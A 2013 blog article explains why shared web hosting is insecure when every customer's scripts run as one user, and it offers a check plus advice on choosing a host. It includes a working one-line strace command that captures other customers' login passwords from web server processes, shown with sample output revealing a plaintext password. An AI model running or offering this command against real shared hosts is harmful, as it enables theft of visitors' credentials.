Civil rights activist, litigator, scholar, and security and privacy sceptic.
Most hosting providers offer some form of "shared hosting" service. "Shared hosting" refers to a setup where a single instance of a web server (or a small number of instances) is configured to serve many sites running on the same machine or virtual machine. Each site potentially belongs to a different customer. In a reasonable shared hosting environment, each customer:
A level of isolation between customers is typically provided by giving each customer a unique uid
and gid
(UNIX user and group) and giving them a subdirectory owned by that uid
:gid
. For example, the filesystem on the shared host for two customers joan
and bob
might look like this. The numbers inside parentheses indicate the uid
:gid
values.
/ /www /joan (100:100) /joan.example.com /index.php /bob (101:101) /bob.example.org /index.html
The directories /www/joan
and /www/bob
would be marked not to allow access by others. The host then gives joan
and bob
FTP access to their own directories.
Unfortunately, a common problem arises when executing user scripts such as the index.php
file in the filesystem above. All too often, the shared web server is configured to execute all customers' scripts as the same user (such as nobody:nobody
or apache:apache
), which leads to a variety of vulnerabilities. For example, any customer can upload a malicious PHP script that uses the ptrace
API to take over the execution of scripts by other customers, among many other potential attacks.
Given a host where all scripts execute as the same user, one particularly easy attack to deploy is logging users' passwords given to other customers' websites on the host.
Suppose you're joan
and suppose that bob
has the following page at index.html
:
To log passwords to bob
's website, simply upload a script that uses strace
on each running web server process, like so:
strace -e read -s 10000 -p "`pidof httpd`" | grep password
When a user logs into bob
's site with password topsecret12
, the output of strace
will look something like this:
read(9, "POST / HTTP/1.1\r\nHost: localhost:8008\r\nUser-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0\r\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\nAccept-Language: en-US,en;q=0.5\r\nAccept-Encoding: gzip, deflate\r\nDNT: 1\r\nReferer: http://localhost:8008/\r\nConnection: keep-alive\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: 20\r\n\r\npassword=topsecret12", 8000) = 415
As promised, you can easily see the password topsecret12
in plaintext.
To find out if your shared host is set up in this insecure manner, you can upload a simple PHP script containing the following:
Then navigate to this script in your browser. If the output looks generic (not specific to your account), such as in the following example, then your host is probably seriously insecure and you should look into getting a new host immediately:
uid=99(nobody) gid=99(nobody) groups=99(nobody)
If the output is individualised to your particular user account, like in the following, then your host is more secure:
uid=564(joan) gid=564(joan) groups=564(joan)
This misconfiguration is common among shared hosts, but it's not the only way in which a shared host can be insecure. Outdated kernels or setuid
programs may allow an attacker to easily escalate to root, or file permissions may be flawed in various ways. With shared hosting, all of the other customers on the server — potentially hundreds — are in a privileged position to attack your website.
If you only need to upload static HTML pages, GitHub Pages is a relatively secure and free choice. If you really want to use shared hosting, DreamHost is a fairly decent option. However, if security is a concern, you probably shouldn't be using shared hosting at all. Instead, get a dedicated server (most secure) or a VPS (less secure, but not as bad as shared hosting).
cathyjf » articles » Your shared host might be insecure, 13 Sep 2013